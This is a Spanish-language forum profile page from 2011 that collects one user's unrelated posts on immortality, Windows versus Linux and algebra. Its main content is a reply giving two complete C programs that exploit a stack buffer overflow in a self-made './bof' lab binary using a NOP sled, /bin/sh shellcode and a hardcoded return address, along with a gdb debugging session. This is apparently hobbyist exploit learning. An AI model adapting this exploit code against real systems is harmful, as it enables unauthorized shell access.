Del que se conecta? Pues mira los logs no tiene vuelta de hoja. Y si pruebas a mirar el README?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: mini_nauta en 6 Febrero 2011, 22:03 PM
lo mejor que se podria hacer si se fuera inmortal sería curar el cancer y enfermedades como esas, así se podría alargar mucho mas la vida de algunas personas. Por lo demas vivir en armonía sería lo primordial, imaginense una guerra eterna, si la inmortalidad significa un eterno conflicto prefiero la mortalidad...saludos
Cita de: mr.blood en 7 Febrero 2011, 15:58 PM
No, eso que pusiste no es mi code.
Tiene errores, comochar nops[23] = "";
es nops[24] . Quiza por eso te tira segmentation fault.
Y eso del sprintf que ya te dije .
Pon mas informacion, que distro usas ???
Yo uso OpenSuSe y me funciona perfecto.
Sa1uDoS
P.D.:Agregame al MSN si quieres y miramos que es con mas detalle .
EDIT:
A mi asi me funciona:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char exp[] = "./bof";
char nops[24] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
system(cmd);
free(cmd);
return 0;
}
EDIT2:
Prueba si quieres con una shellcode que he hecho yo , aunque la de Sagrini va genial tambien.#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */
int main()
{
char name[]="./bof";
char nops[26]="";
memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b]
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x80483ca: file vuln.c, line 7.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
(gdb)
Cita de: Xafirot en 7 Febrero 2011, 17:45 PM
Windows es mejor que linux...
1- Compatibilidad.
2- Cantidad de software que hay para este.
3- Es compatible para el hack.
4- La instalaciones de software vale para tontos.
5- No tiene que recurrir a la emulacion de windows XDDD para la utilizacion de algun programa.
6- Mi windows 7 Es pirata y microsoft me lo actualiza por ahora xDD.
... no se me ocurre nada más xDDD
Cita de: XXX-ZERO-XXX en 6 Febrero 2011, 20:39 PMNo tengo problema en que no creas en eso, no veo que ventaja tendría diciendo eso. Sin embargo, si quieres busco por todos mis post y borro todo eso, no sea que alguien se crea que soy un mentiroso que solo quiere quedar bien.
Y porque sigues poniendo esas comprobaciones? xDSi miras bien es:
4 + (5-1) = 2(5) - 2
4 + 4 = 10 - 2
8 = 8
Y solo digo q tengo mas experiencia talvez, no se mucho, pero vs q decis q tenes 12 años, cosa q no creo.. es dificil q sepas algunas cosas
CitarLa primera y la segunda son completamente iguales, excepto por la el cuatro duplicado.
2+ (x-1)/2 = x -1 // Lo separo bien pa q entiendas xD
4+(x-1)/2 = x -1 // Ahora el 2 esta dividiendo todo el miembro izquierdo entonces podre pasarlo sin problemas multiplicando.
4 + (5-1) / 2 = 5 -1
[4 + (5-1)] / 2 = 5 -1